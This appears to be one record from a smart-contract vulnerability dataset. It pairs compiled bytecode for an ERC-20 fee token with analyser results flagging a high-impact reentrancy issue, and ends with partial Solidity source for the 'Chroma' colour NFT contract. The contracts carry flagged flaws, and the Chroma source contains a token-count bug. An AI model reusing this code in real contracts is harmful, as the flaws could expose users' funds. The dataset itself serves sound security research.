c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5155524f00000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a78261353c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042e1169b1bf4197533ab0ede743caa0d9f432d4b24fbe397ee0afd4f7082852064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,359 |
0xd0b29da9f867d69b16f15fb05dfeede0177f8b48
|
pragma solidity 0.7.6;
pragma abicoder v2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers, throws on overflow.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4);
}
interface FungibleChromaInterface {
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
}
contract Chroma is IERC721 {
using SafeMath for uint256;
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
uint256 public numTokens;
mapping(bytes4 => bool) internal supportedInterfaces;
mapping(uint256 => address) public idToOwner;
mapping(uint256 => address) internal idToApproval;
mapping(address => mapping(address => bool)) internal ownerToOperators;
mapping(address => uint256[]) public ownerToIds;
mapping(uint256 => uint256) public idToOwnerIndex;
string internal nftName = "Chroma";
string internal nftSymbol = unicode"■";
bool private reentrancyLock = false;
/* Prevent a contract function from being reentrant-called. */
modifier reentrancyGuard() {
if (reentrancyLock) {
revert();
}
reentrancyLock = true;
_;
reentrancyLock = false;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
idToApproval[_tokenId] == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot transfer."
);
_;
}
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot operate."
);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), "Invalid token.");
_;
}
constructor(address payable _adminAddress) {
adminAddress = _adminAddress;
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
}
function _mintNFT(
address _recipient,
uint256 red,
uint256 green,
uint256 blue
) internal {
_addNFToken(_recipient, _RGBToId(red, green, blue));
}
function _addNFToken(address _to, uint256 _tokenId) internal {
require(
idToOwner[_tokenId] == address(0),
"Cannot add, already owned."
);
idToOwner[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1);
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from, "Incorrect owner.");
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _getOwnerNFTCount(address _owner) internal view returns (uint256) {
return ownerToIds[_owner].length;
}
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Incorrect owner.");
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(
msg.sender,
_from,
_tokenId,
_data
);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + (temp % 10)));
temp /= 10;
}
return string(buffer);
}
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1("0")) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return bytes1(uint8(bytes1("a")) + d - 10);
}
// revert("Invalid hex digit");
revert();
}
function toHexString(uint256 a) public pure returns (string memory) {
uint256 count = 2;
uint256 b = a;
bytes memory res = new bytes(count);
for (uint256 i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function toHex(uint256 _id) external pure returns (string memory) {
string memory r = toHexString(idToRed(_id));
string memory g = toHexString(idToGreen(_id));
string memory b = toHexString(idToBlue(_id));
return string(abi.encodePacked(r, g, b));
}
function toRGBString(uint256 _id) public pure returns (string memory) {
string memory r = toString(idToRed(_id));
string memory g = toString(idToGreen(_id));
string memory b = toString(idToBlue(_id));
return string(abi.encodePacked("rgb(", r, ",", g, ",", b, ")"));
}
function idToRed(uint256 _id) public pure returns (uint256) {
return _id >> 16;
}
function idToGreen(uint256 _id) public pure returns (uint256) {
return (_id & 0xffff) >> 8;
}
function idToBlue(uint256 _id) public pure returns (uint256) {
return _id & 0xff;
}
function _RGBToId(
uint256 red,
uint256 green,
uint256 blue
) internal pure returns (uint256) {
return (red << 16) + (green << 8) + blue;
}
function RGBToId(
uint256 _red,
uint256 _green,
uint256 _blue
) public pure returns (uint256) {
return _RGBToId(_red, _green, _blue);
}
//////////////////////////
//// Enumerable ////
//////////////////////////
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index)
external
view
returns (uint256)
{
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
//////////////////////////
//// Administration ////
//////////////////////////
address payable public adminAddress;
address public chromaticPlotAddress;
address public fungibleChromaAddress;
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin.");
_;
}
function setAdmin(address payable _newAdmin) external onlyAdmin {
adminAddress = _newAdmin;
}
function setChromaticPlotAddress(address _chromaticPlotAddress) external onlyAdmin {
chromaticPlotAddress = _chromaticPlotAddress;
}
function setFungibleChromaAddress(address _fungibleChromaAddress)
external
onlyAdmin
{
fungibleChromaAddress = _fungibleChromaAddress;
}
//////////////////////////
//// Transmutation ////
//////////////////////////
event PlotTransmutation(
address indexed transmuter,
uint256 index,
uint256 count,
uint256 blueStart,
uint256 red,
uint256 green
);
modifier onlyChromaticPlot() {
require(msg.sender == chromaticPlotAddress, "Only Mint Plot.");
_;
}
mapping(uint256 => uint256) public transmutationCount;
function transmutePlotToNFTs(
address _recipient,
uint256 _plotId,
uint256 _count
) external onlyChromaticPlot returns (bool) {
return _transmute(_recipient, _plotId, _count);
}
function transmutePlotToERC20(
address _recipient,
uint256 _plotId,
uint256 _count
) external onlyChromaticPlot returns (bool) {
bool complete = _transmute(address(this), _plotId, _count);
FungibleChromaInterface(fungibleChromaAddress).mint(_recipient, _count);
return complete;
}
function _transmute(
address _recipient,
uint256 _plotId,
uint256 _count
) internal returns (bool) {
require(
transmutationCount[_plotId] + _count <= 256,
"exceeds chroma remaining"
);
require(
_count <= 128,
"cannot transmute more than 128 chroma at a time"
);
uint256 index = transmutationCount[_plotId];
transmutationCount[_plotId] += _count;
uint256 red = _plotId.div(256);
uint256 green = _plotId.mod(256);
emit PlotTransmutation(
_recipient,
numTokens,
_count,
index,
red,
green
);
for (uint256 blue = index; blue < index + _count; blue++) {
_mintNFT(_recipient, red, green, blue);
}
if (transmutationCount[_plotId] == 256) return true;
numTokens = numTokens + _count;
return false;
}
function transmuteSingleToNFT(uint256 _id) external reentrancyGuard {
require(
idToOwner[_id] == address(this),
"token must be owned by sender"
);
FungibleChromaInterface(fungibleChromaAddress).burn(msg.sender, 1);
_transfer(msg.sender, _id);
}
function transmuteMultipleToNFT(uint256[] calldata _ids) external reentrancyGuard {
for (uint256 i = 0; i < _ids.length; i++) {
uint256 id = _ids[i];
require(
idToOwner[id] == address(this),
"token must be owned by sender"
);
_transfer(msg.sender, id);
}
FungibleChromaInterface(fungibleChromaAddress).burn(
msg.sender,
_ids.length
);
}
function transmuteSingleToERC20(uint256 _id) external reentrancyGuard {
require(idToOwner[_id] == msg.sender, "token must be owned by sender");
_transfer(address(this), _id);
